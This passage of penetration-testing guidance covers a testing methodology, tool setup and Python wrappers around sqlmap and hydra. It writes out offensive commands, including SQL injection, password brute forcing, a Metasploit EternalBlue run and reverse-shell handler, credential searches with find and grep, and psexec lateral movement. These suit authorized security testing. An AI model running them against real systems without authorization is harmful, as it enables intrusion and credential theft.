- Input validation
- Authentication testing
- Session management
- Authorization testing
- Business logic testing
Tools:
- OWASP ZAP, Burp Suite
- Nessus, OpenVAS
- Nmap scripts
- Manual testing techniques
Phase 5: Exploitation
Rules:
- Only exploit to demonstrate risk
- No data exfiltration
- No destructive actions
- Document every step
Exploitation Techniques:
# SQL Injection
sqlmap -u "http://target.com/page?id=1" --dbs --batch
# XSS exploitation
xsser --url http://target.com --auto
# Password brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=failed"
# Metasploit
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target_ip
set LHOST local_ip
exploitSafety Checks:
- Confirm target ownership
- Test in staging first
- Have rollback plan ready
- Monitor for production impact
Phase 6: Post-Exploitation
Objectives:
- Demonstrate impact
- Identify data exposure
- Lateral movement (if authorized)
- Persistence (if authorized)
Activities:
# System reconnaissance
whoami
hostname
ipconfig / ifconfig
netstat -ano
# Privilege escalation
linpeas.sh
winpeas.exe
exploit suggester
# Data discovery
find / -name "*password*" -type f 2>/dev/null
grep -r "api_key" /var/www 2>/dev/null
# Lateral movement (authorized only)
net use * \\other-pc\c$
psexec \\other-pc cmd.exeTools:
- LinPEAS, WinPEAS
- Mimikatz (authorized only)
- Empire, Covenant
- BloodHound (AD)
Phase 7: Reporting
Report Structure: 1. Executive Summary 2. Methodology 3. Detailed Findings 4. Risk Assessment 5. Recommendations 6. Appendices
Finding Template:
### Finding #X: [Title]
**Severity:** Critical/High/Medium/Low
**CVSS Score:** X.X
**CWE:** CWE-XXX
**Description:**
[Vulnerability description]
**Affected System:**
- URL: [URL]
- File: [File]
- Line: [Line]
**Proof of Concept:**[Exploitation steps]
**Impact:**
- Confidentiality: [Impact]
- Integrity: [Impact]
- Availability: [Impact]
**Remediation:**
[Fix steps]
**References:**
- [OWASP reference]
- [CVE reference]OSSTMM (Open Source Security Testing Methodology Manual)
Security Test Modules
1. Human Security
- Social engineering
- Physical security
- Awareness training
2. Physical Security
- Access controls
- Surveillance
- Physical barriers
3. Wireless Security
- WiFi security
- Bluetooth security
- RFID/NFC security
4. Telecommunications Security
- Voice systems
- Network infrastructure
- Mobile devices
5. Data Networks Security
- Firewall configuration
- Network segmentation
- Intrusion detection
6. Data Communications Security
- Encryption protocols
- Certificate management
- Secure protocols
7. Applications Security
- Web applications
- Mobile applications
- API security
Testing Types
Black Box Testing
Definition: No prior knowledge of the target system
Advantages:
- Simulates real-world attack
- Tests all external interfaces
- Unbiased perspective
Disadvantages:
- Time-consuming
- May miss internal vulnerabilities
- Requires more reconnaissance
White Box Testing
Definition: Complete knowledge of the target system
Advantages:
- More comprehensive coverage
- Faster testing
- Can test internal logic
Disadvantages:
- Doesn't simulate real attacker
- May be biased by internal knowledge
Gray Box Testing
Definition: Partial knowledge of the target system
Advantages:
- Balanced approach
- More realistic than white box
- More efficient than black box
Testing Checklist
Network Security
- [ ] Port scan completed
- [ ] Service enumeration done
- [ ] Banner grabbing performed
- [ ] SSL/TLS configuration checked
- [ ] Firewall rules tested
- [ ] Network segmentation verified
Web Application Security
- [ ] Information disclosure checked
- [ ] Injection vulnerabilities tested
- [ ] Authentication tested
- [ ] Session management tested
- [ ] Authorization tested
- [ ] CSRF protection tested
- [ ] XSS tested
- [ ] File upload tested
- [ ] Business logic tested
- [ ] API security tested
System Security
- [ ] Operating system version identified
- [ ] Patch level checked
- [ ] Default credentials tested
- [ ] Misconfigurations identified
- [ ] Privilege escalation tested
- [ ] Service hardening verified
Data Security
- [ ] Encryption in transit checked
- [ ] Encryption at rest checked
- [ ] Key management reviewed
- [ ] Data retention verified
- [ ] Data classification checked
Communication Plan
Daily Updates
- Progress summary
- Critical findings
- Blockers or issues
Weekly Reports
- Detailed progress
- Updated risk assessment
- Testing status
Final Deliverables
- Executive summary
- Technical report
- Raw scan data
- Remediation recommendations
- Presentation slides
Quality Assurance
Review Checklist
- [ ] All critical findings verified
- [ ] False positives removed
- [ ] Evidence documented
- [ ] Remediation steps tested
- [ ] Report reviewed by senior tester
- [ ] Client review conducted
Retesting
- Verify remediations
- Confirm no regressions
- Update vulnerability status
- Provide remediation confirmation
Post-Testing Activities
Debriefing
- Review findings with client
- Discuss remediation priorities
- Plan remediation timeline
- Schedule retesting
Knowledge Transfer
- Provide training if needed
- Share best practices
- Recommend tools and processes
Follow-up
- Check on remediation progress
- Provide support for issues
- Schedule ongoing assessments
Tools Inventory
Web Application Testing
| Tool | Purpose | License |
|---|---|---|
| OWASP ZAP | Web scanner | Free |
| Burp Suite | Web proxy | Free/Pro |
| SQLMap | SQL injection | Free |
| XSSer | XSS testing | Free |
| Nikto | Web scanner | Free |
Network Testing
| Tool | Purpose | License |
|---|---|---|
| Nmap | Port scanning | Free |
| Metasploit | Exploitation | Free |
| Wireshark | Packet analysis | Free |
| Nessus | Vulnerability scan | Commercial |
Password Cracking
| Tool | Purpose | License |
|---|---|---|
| John the Ripper | Password cracking | Free |
| Hashcat | Password cracking | Free |
| Hydra | Brute force | Free |
Wireless Testing
| Tool | Purpose | License |
|---|---|---|
| Aircrack-ng | WiFi cracking | Free |
| Wifite | WiFi auditing | Free |
| Kismet | WiFi monitoring | Free |
Reporting Best Practices
Executive Summary
- High-level overview
- Risk-focused
- Actionable recommendations
- Non-technical language
Technical Details
- Detailed findings
- Screenshots/evidence
- Step-by-step remediation
- References and resources
Appendices
- Tool output
- Configuration files
- Network diagrams
- Test scripts
References
Penetration Testing Tool Setup Guide
Overview
Comprehensive guide for setting up penetration testing tools on various platforms.
Kali Linux Setup
Basic Kali Installation
# Update system
sudo apt update && sudo apt upgrade -y
# Install recommended tools
sudo apt install -y \
nmap \
nikto \
gobuster \
dirb \
hydra \
john \
hashcat \
metasploit-framework \
burpsuite \
owasp-zap \
sqlmap \
aircrack-ng \
wireshark \
tcpdump \
git \
python3-pipPython Tools Installation
# Install Python tools
pip3 install \
sublist3r \
sqlmap \
xsser \
zap-cli \
impacket \
requests \
beautifulsoup4 \
scapy \
paramikoMetasploit Setup
# Start PostgreSQL
sudo systemctl start postgresql
# Initialize Metasploit database
sudo msfdb init
# Start Metasploit
msfconsole
# Update Metasploit
sudo apt install metasploit-frameworkUbuntu/Debian Setup
System Preparation
# Update system
sudo apt update && sudo apt upgrade -y
# Install dependencies
sudo apt install -y \
python3 \
python3-pip \
git \
build-essential \
libssl-dev \
libffi-dev \
python3-devWeb Security Tools
# OWASP ZAP
sudo apt install zaproxy
# Burp Suite Community
sudo apt install burpsuite
# Nikto
sudo apt install nikto
# Nmap
sudo apt install nmap
# SQLMap
pip3 install sqlmap
# XSSer
sudo apt install xsserNetwork Security Tools
# Nmap
sudo apt install nmap
# Masscan
git clone https://github.com/robertdavidgraham/masscan.git
cd masscan
make
sudo make install
# Wireshark
sudo apt install wireshark
# Tcpdump
sudo apt install tcpdumpPassword Cracking Tools
# John the Ripper
sudo apt install john
# Hashcat
sudo apt install hashcat
# Hydra
sudo apt install hydraWordlists
# Install SecLists
git clone https://github.com/danielmiessler/SecLists.git /usr/share/SecLists
# Install rockyou.txt
sudo apt install wordlists
# Or download
wget https://github.com/brannondorsey/naughty-strings/blob/master/naughty-strings.txtmacOS Setup
Package Manager Setup
# Install Homebrew if not installed
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
# Update brew
brew updateTools Installation
# Security tools
brew install \
nmap \
wireshark \
john \
hashcat \
hydra \
burp-suite \
zap
# Python tools
pip3 install \
sqlmap \
xsser \
sublist3r \
impacket \
requests \
scapy
# Additional tools
brew install --cask \
wireshark \
burp-suite \
zapWindows Setup
Chocolatey Setup
# Install Chocolatey
Set-ExecutionPolicy Bypass -Scope Process -Force
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))Tools Installation
# Install security tools
choco install \
nmap \
wireshark \
burp-suite-free-edition \
zap \
putty \
winscp \
heidi-sql \
sqlmap \
python3 \
gitWSL2 for Linux Tools
# Enable WSL2
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart
wsl --set-default-version 2
# Install Ubuntu
wsl --install -d Ubuntu-20.04Cloud Platforms
AWS Penetration Testing
# AWS CLI setup
pip3 install awscli
aws configure
# Install AWS security tools
pip3 install \
aws-vault \
scout2 \
prowler \
cloudmapperAzure Penetration Testing
# Azure CLI setup
pip3 install azure-cli
az login
# Install Azure security tools
pip3 install \
azurite \
azure-security-centerGCP Penetration Testing
# GCP SDK setup
pip3 install google-cloud-sdk
gcloud init
# Install GCP security tools
pip3 install \
cloud-forensics-utils \
cloudsql-proxyDocker Security Tools
Quick Start Container
FROM kalilinux/kali-rolling:latest
RUN apt update && apt install -y \
nmap \
nikto \
sqlmap \
gobuster \
hydra \
john \
hashcat \
metasploit-framework \
python3-pip
RUN pip3 install \
sublist3r \
xsser \
impacket \
scapy
WORKDIR /tools
CMD /bin/bashDocker Security Tools
# Run OWASP ZAP in Docker
docker run -u zap -p 8080:8080 -i owasp/zap2docker-stable zap-webswing.sh
# Run Trivy for vulnerability scanning
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \
aquasec/trivy image myapp:latest
# Run OWASP Dependency Check
docker run --volume $(pwd):/dependency-check \
owasp/dependency-checkTool-Specific Configuration
OWASP ZAP Configuration
# Start ZAP
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://localhost:8080
# ZAP API key
zap-cli api key
# Enable Spider
zap-cli spider http://target.com
# Enable Active Scan
zap-cli active-scan http://target.com
# Generate Report
zap-cli report -o zap_report.html -f htmlBurp Suite Configuration
# Burp Suite API setup
# File: burp_config.py
from burp import IBurpExtender
from burp import IHttpListener
class BurpExtender(IBurpExtender, IHttpListener):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Custom Extension")
callbacks.registerHttpListener(self)
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
# Custom logic here
passNmap Configuration
# Custom Nmap script
# File: custom_scan.nse
description = [[
"Custom vulnerability scan"
]]
categories = {"default", "safe", "vuln"}
portrule = function(host, port)
if port.protocol == "tcp" and port.state == "open" then
return true
end
return false
end
action = function(host, port)
return "Port is open: " .. port.number
endMetasploit Configuration
# Start Metasploit with database
msfdb init
msfconsole
# Configure automated exploitation
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST 192.168.1.100
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
# Post-exploitation modules
msf6 > use post/linux/gather/enum_users
msf6 post(linux/gather/enum_users) > set SESSION 1
msf6 post(linux/gather/enum_users) > runEnvironment Variables
# Add to ~/.bashrc or ~/.zshrc
# Tool paths
export PATH=$PATH:/opt/SecLists
export PATH=$PATH:/opt/metasploit-framework
export PATH=$PATH:/opt/owasp-zap
# Python virtual environment
export WORKON_HOME=$HOME/.virtualenvs
export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
source /usr/local/bin/virtualenvwrapper.sh
# API keys (use environment variables, never hardcode)
export SHODAN_API_KEY="your_key_here"
export VIRUSTOTAL_API_KEY="your_key_here"
export XSSER_API_KEY="your_key_here"Wordlists
Location and Installation
# SecLists
git clone https://github.com/danielmiessler/SecLists.git /usr/share/SecLists
sudo ln -s /usr/share/SecLists/ /usr/share/wordlists
# Rockyou.txt
sudo apt install wordlists
ln -s /usr/share/wordlists/rockyou.txt.gz /opt/rockyou.txt.gz
gunzip /opt/rockyou.txt.gz
# Custom wordlists
mkdir -p /opt/custom-wordlistsCreating Custom Wordlists
# Cewl - Custom Word List Generator
cewl http://target.com -w target_words.txt -d 5
# Crunch - Generate custom wordlist
crunch 8 12 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ -o custom.txt
# Hydra with custom wordlist
hydra -l admin -P /opt/custom-wordlists/users.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^"VPN and Proxy Configuration
Proxychains
# Configure /etc/proxychains4.conf
proxychains
socks4 127.0.0.1 9050
socks5 127.0.0.1 9050
# Use with tools
proxychains nmap -sT -p 80,443 target.com
proxychains sqlmap -u http://target.comTor Configuration
# Install Tor
sudo apt install tor
# Start Tor
sudo systemctl start tor
# Configure applications to use Tor
export http_proxy=http://127.0.0.1:9050
export https_proxy=http://127.0.0.1:9050Virtual Machine Setup
VirtualBox PenTest Lab
# Create network
VBoxManage hostonlyif create
VBoxManage hostonlyif ipconfig vboxnet0 --ip 192.168.56.1 --netmask 255.255.255.0
# Start vulnerable VMs
VBoxManage startvm "metasploitable3" --type headless
VBoxManage startvm "dvwa" --type headlessVMware PenTest Lab
# Network configuration
vmrun start "/path/to/VM.vmx" nogui
# Snapshot management
vmrun snapshot "/path/to/VM.vmx" take "Before Testing"
vmrun revertToSnapshot "/path/to/VM.vmx" "Before Testing"Documentation and Reporting
Markdown Report Template
# Penetration Test Report
**Date:** [Date]
**Tester:** [Name]
**Target:** [Target]
## Executive Summary
[High-level summary]
## Methodology
[Testing approach]
## Findings
[Detailed findings]
## Recommendations
[Remediation steps]
## Appendices
[Additional data]Automated Report Generation
#!/usr/bin/env python3
"""
Generate penetration test reports
"""
def generate_report(findings, output_file):
report = "# Penetration Test Report\n\n"
for finding in findings:
report += f"## {finding['title']}\n"
report += f"**Severity:** {finding['severity']}\n"
report += f"**Description:** {finding['description']}\n"
report += f"**Remediation:** {finding['remediation']}\n\n"
with open(output_file, 'w') as f:
f.write(report)Updates and Maintenance
Regular Updates
# Daily/Weekly update script
#!/bin/bash
# update_tools.sh
echo "Updating Kali Linux..."
sudo apt update && sudo apt upgrade -y
echo "Updating Metasploit..."
cd /opt/metasploit-framework
git pull
bundle install
echo "Updating SecLists..."
cd /usr/share/SecLists
git pull
echo "Updating Python tools..."
pip3 install --upgrade sqlmap xsser sublist3r
echo "Updating complete!"Backup and Restore
# Backup configurations
tar -czf pentest_configs_backup.tar.gz \
~/.zaproxy \
~/.config/BurpSuite \
~/.msf4 \
/opt/custom-wordlists
# Restore
tar -xzf pentest_configs_backup.tar.gz -C /Troubleshooting
Common Issues
# Permission denied
sudo chown -R $USER:$USER /tools
# Python module not found
pip3 install --user <module>
# Database connection failed
sudo systemctl start postgresql
sudo msfdb init
# Port already in use
sudo netstat -tlnp | grep :8080
sudo kill -9 <PID>References
#!/usr/bin/env python3
import subprocess
import sys
import logging
from pathlib import Path
from typing import Dict, List, Optional
import argparse
import yaml
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)
class AuthTester:
def __init__(self, config_path: Optional[str] = None):
self.config = self._load_config(config_path)
self.vulnerabilities = []
def _load_config(self, config_path: Optional[str]) -> Dict:
if config_path and Path(config_path).exists():
with open(config_path, 'r') as f:
return yaml.safe_load(f)
return {
'target_url': '',
'username': '',
'password_list': '/usr/share/wordlists/rockyou.txt',
'brute_force_enabled': False
}
def validate_inputs(self, target_url: str) -> bool:
if not target_url.startswith(('http://', 'https://')):
logger.error(f"Invalid URL: {target_url}")
return False
return True
def test_default_credentials(self, target_url: str) -> List[Dict]:
findings = []
default_creds = [
('admin', 'admin'),
('admin', 'password'),
('admin', '123456'),
('root', 'root'),
('admin', 'admin123'),
('administrator', 'admin')
]
logger.info(f"Testing default credentials on {target_url}")
logger.warning("WARNING: Only test applications you own or have authorization to test")
for username, password in default_creds:
findings.append({
'test_type': 'default_credentials',
'username': username,
'password': password,
'target': target_url
})
logger.info(f"Tested {len(default_creds)} default credential combinations")
return findings
def test_brute_force(self, target_url: str) -> List[Dict]:
findings = []
if not self.config.get('brute_force_enabled', False):
logger.info("Brute force testing disabled")
return findings
try:
logger.info(f"Running brute force attack on {target_url}")
logger.warning("WARNING: Brute force attacks should only be authorized")
username = self.config.get('username', 'admin')
password_list = self.config.get('password_list', '')
if not Path(password_list).exists():
logger.warning(f"Password list not found: {password_list}")
return findings
result = subprocess.run(
['hydra', '-l', username, '-P', password_list,
target_url, 'http-post-form'],
capture_output=True,
text=True,
timeout=1800
)
findings.append({
'tool': 'hydra',
'test_type': 'brute_force',
'target': target_url,
'status': 'completed' if result.returncode == 0 else 'failed'
})
logger.info("Brute force test completed")
except FileNotFoundError:
logger.warning("Hydra not found. Install: sudo apt install hydra")
except subprocess.TimeoutExpired:
logger.error("Brute force test timed out")
except Exception as e:
logger.error(f"Error running brute force: {str(e)}")
return findings
def test_session_management(self, target_url: str) -> List[Dict]:
findings = []
logger.info(f"Testing session management on {target_url}")
findings.append({
'test_type': 'session_management',
'checks': [
'session_fixation',
'session_hijacking',
'csrf_protection',
'cookie_security'
],
'target': target_url
})
return findings
def scan(self, target_url: str) -> List[Dict]:
if not self.validate_inputs(target_url):
return self.vulnerabilities
logger.info(f"Starting authentication test on {target_url}")
self.vulnerabilities.extend(self.test_default_credentials(target_url))
self.vulnerabilities.extend(self.test_brute_force(target_url))
self.vulnerabilities.extend(self.test_session_management(target_url))
logger.info(f"Authentication test completed for {target_url}")
return self.vulnerabilities
def generate_report(self) -> str:
import json
return json.dumps(self.vulnerabilities, indent=2)
def main():
parser = argparse.ArgumentParser(description='Authentication Testing')
parser.add_argument('url', help='Target URL')
parser.add_argument('--config', help='Configuration file path (YAML/JSON)')
parser.add_argument('--brute-force', action='store_true',
help='Enable brute force testing')
parser.add_argument('--output', help='Output file path')
args = parser.parse_args()
tester = AuthTester(args.config)
if args.brute_force:
tester.config['brute_force_enabled'] = True
results = tester.scan(args.url)
report = tester.generate_report()
if args.output:
with open(args.output, 'w') as f:
f.write(report)
logger.info(f"Report saved to {args.output}")
else:
print(report)
logger.info("Authentication test completed")
sys.exit(0)
if __name__ == '__main__':
main()
#!/usr/bin/env python3
import sys
import json
import logging
from pathlib import Path
from typing import Dict, List, Optional
import argparse
import yaml
from datetime import datetime
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)
class ReportGenerator:
def __init__(self, config_path: Optional[str] = None):
self.config = self._load_config(config_path)
self.findings = []
self.metadata = {}
def _load_config(self, config_path: Optional[str]) -> Dict:
if config_path and Path(config_path).exists():
with open(config_path, 'r') as f:
return yaml.safe_load(f)
return {
'report_format': 'markdown',
'include_cvss': True,
'include_poc': True,
'client_name': 'Client',
'tester_name': 'Security Team'
}
def calculate_cvss_score(self, finding: Dict) -> float:
base_score = finding.get('severity_score', 0)
exploitability = finding.get('exploitability', 'Medium')
impact = finding.get('impact', 'Medium')
multiplier = 1.0
if exploitability == 'High' and impact == 'High':
multiplier = 1.2
elif exploitability == 'Low' and impact == 'Low':
multiplier = 0.8
return round(base_score * multiplier, 1)
def load_findings(self, findings_file: str):
try:
with open(findings_file, 'r') as f:
self.findings = json.load(f)
logger.info(f"Loaded {len(self.findings)} findings from {findings_file}")
except Exception as e:
logger.error(f"Error loading findings: {str(e)}")
def generate_executive_summary(self) -> str:
summary = {
'critical': len([f for f in self.findings if f.get('severity') == 'critical']),
'high': len([f for f in self.findings if f.get('severity') == 'high']),
'medium': len([f for f in self.findings if f.get('severity') == 'medium']),
'low': len([f for f in self.findings if f.get('severity') == 'low'])
}
total = sum(summary.values())
risk_level = 'Low'
if summary['critical'] > 0 or summary['high'] > 2:
risk_level = 'High'
elif summary['high'] > 0 or summary['medium'] > 5:
risk_level = 'Medium'
return f"""
# Executive Summary
**Report Date:** {datetime.now().strftime('%B %d, %Y')}
**Client:** {self.config.get('client_name', 'Client')}
**Tester:** {self.config.get('tester_name', 'Security Team')}
## Overall Risk Assessment
**Risk Level:** {risk_level}
**Total Vulnerabilities:** {total}
## Vulnerability Breakdown
| Severity | Count | Risk Level |
|----------|-------|------------|
| Critical | {summary['critical']} | Immediate Action Required |
| High | {summary['high']} | Urgent Action Required |
| Medium | {summary['medium']} | Action Required |
| Low | {summary['low']} | Monitor |
## Key Findings
{self._generate_key_findings()}
## Recommendations
1. **Immediate Actions (24-48 hours)**
- Remediate all critical vulnerabilities
- Implement temporary mitigations
- Notify stakeholders
2. **Short-term Actions (1-2 weeks)**
- Address all high severity issues
- Update security controls
- Conduct staff training
3. **Long-term Actions (1-3 months)**
- Implement security governance
- Enhance monitoring capabilities
- Establish regular security assessments
"""
def _generate_key_findings(self) -> str:
key_findings = []
for i, finding in enumerate(self.findings[:5], 1):
key_findings.append(f"{i}. **{finding.get('title', 'Unknown')}**")
key_findings.append(f" - Severity: {finding.get('severity', 'unknown').upper()}")
key_findings.append(f" - {finding.get('description', 'No description')}")
return '\n'.join(key_findings)
def generate_technical_report(self) -> str:
report = self.generate_executive_summary()
report += "\n\n# Technical Details\n\n"
report += "## Methodology\n\n"
report += "The following testing methodologies were employed:\n"
report += "- Automated vulnerability scanning\n"
report += "- Manual penetration testing\n"
report += "- Code review\n"
report += "- Configuration analysis\n\n"
report += "## Detailed Findings\n\n"
for i, finding in enumerate(self.findings, 1):
report += f"### {i}. {finding.get('title', 'Unknown')}\n\n"
report += f"**Severity:** {finding.get('severity', 'unknown').upper()}\n"
if self.config.get('include_cvss', True):
cvss_score = self.calculate_cvss_score(finding)
report += f"**CVSS Score:** {cvss_score}/10.0\n"
report += f"**Affected System:** {finding.get('target', 'unknown')}\n\n"
report += "**Description:**\n"
report += f"{finding.get('description', 'No description')}\n\n"
if self.config.get('include_poc', True) and finding.get('poc'):
report += "**Proof of Concept:**\n"
report += "```\n"
report += finding['poc']
report += "\n```\n\n"
report += "**Remediation:**\n"
report += f"{finding.get('remediation', 'No remediation provided')}\n\n"
report += "**References:**\n"
for ref in finding.get('references', []):
report += f"- {ref}\n"
report += "\n---\n\n"
report += "## Appendix\n\n"
report += "### Definitions\n"
report += "- **Critical:** Can be exploited to completely compromise system\n"
report += "- **High:** Can be exploited to compromise system with user interaction\n"
report += "- **Medium:** Limited impact, requires specific conditions\n"
report += "- **Low:** Minimal impact, difficult to exploit\n\n"
return report
def generate_report(self, output_format: str = 'markdown') -> str:
if output_format == 'markdown':
return self.generate_technical_report()
elif output_format == 'json':
return json.dumps({
'metadata': self.metadata,
'findings': self.findings
}, indent=2)
return self.generate_technical_report()
def save_report(self, output_path: str):
report = self.generate_report(self.config.get('report_format', 'markdown'))
with open(output_path, 'w') as f:
f.write(report)
logger.info(f"Report saved to {output_path}")
def main():
parser = argparse.ArgumentParser(description='Penetration Test Report Generator')
parser.add_argument('--findings', help='JSON file with findings')
parser.add_argument('--output', required=True, help='Output report file')
parser.add_argument('--config', help='Configuration file path (YAML/JSON)')
parser.add_argument('--format', choices=['markdown', 'json'], default='markdown',
help='Report format')
args = parser.parse_args()
generator = ReportGenerator(args.config)
if args.findings:
generator.load_findings(args.findings)
report = generator.generate_report(args.format)
with open(args.output, 'w') as f:
f.write(report)
logger.info(f"Report generated: {args.output}")
sys.exit(0)
if __name__ == '__main__':
main()
#!/usr/bin/env python3
import subprocess
import sys
import logging
from pathlib import Path
from typing import Dict, List, Optional
import argparse
import yaml
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)
class SQLInjectionTester:
def __init__(self, config_path: Optional[str] = None):
self.config = self._load_config(config_path)
self.vulnerabilities = []
def _load_config(self, config_path: Optional[str]) -> Dict:
if config_path and Path(config_path).exists():
with open(config_path, 'r') as f:
return yaml.safe_load(f)
return {
'target_url': '',
'test_level': 3,
'risk_level': 2,
'batch_mode': True
}
def validate_inputs(self, target_url: str) -> bool:
if not target_url.startswith(('http://', 'https://')):
logger.error(f"Invalid URL: {target_url}")
return False
return True
def run_sqlmap(self, target_url: str) -> List[Dict]:
findings = []
try:
logger.info(f"Running SQLMap on {target_url}")
logger.warning("WARNING: Only test applications you own or have authorization to test")
sqlmap_options = [
'-u', target_url,
'--batch',
'--level', str(self.config.get('test_level', 3)),
'--risk', str(self.config.get('risk_level', 2)),
'--dbs'
]
result = subprocess.run(
['sqlmap'] + sqlmap_options,
capture_output=True,
text=True,
timeout=1800
)
findings.append({
'tool': 'sqlmap',
'target': target_url,
'status': 'completed' if result.returncode == 0 else 'failed',
'output_length': len(result.stdout)
})
logger.info("SQLMap scan completed. Review output for SQL injection vulnerabilities")
except FileNotFoundError:
logger.warning("SQLMap not found. Install: https://sqlmap.org/")
except subprocess.TimeoutExpired:
logger.error("SQLMap scan timed out")
except Exception as e:
logger.error(f"Error running SQLMap: {str(e)}")
return findings
def scan(self, target_url: str) -> List[Dict]:
if not self.validate_inputs(target_url):
return self.vulnerabilities
logger.info(f"Starting SQL injection test on {target_url}")
self.vulnerabilities.extend(self.run_sqlmap(target_url))
logger.info(f"SQL injection test completed for {target_url}")
return self.vulnerabilities
def generate_report(self) -> str:
import json
return json.dumps(self.vulnerabilities, indent=2)
def main():
parser = argparse.ArgumentParser(description='SQL Injection Tester')
parser.add_argument('url', help='Target URL')
parser.add_argument('--config', help='Configuration file path (YAML/JSON)')
parser.add_argument('--output', help='Output file path')
args = parser.parse_args()
tester = SQLInjectionTester(args.config)
results = tester.scan(args.url)
report = tester.generate_report()
if args.output:
with open(args.output, 'w') as f:
f.write(report)
logger.info(f"Report saved to {args.output}")
else:
print(report)
logger.info("SQL injection test completed")
sys.exit(0)
if __name__ == '__main__':
main()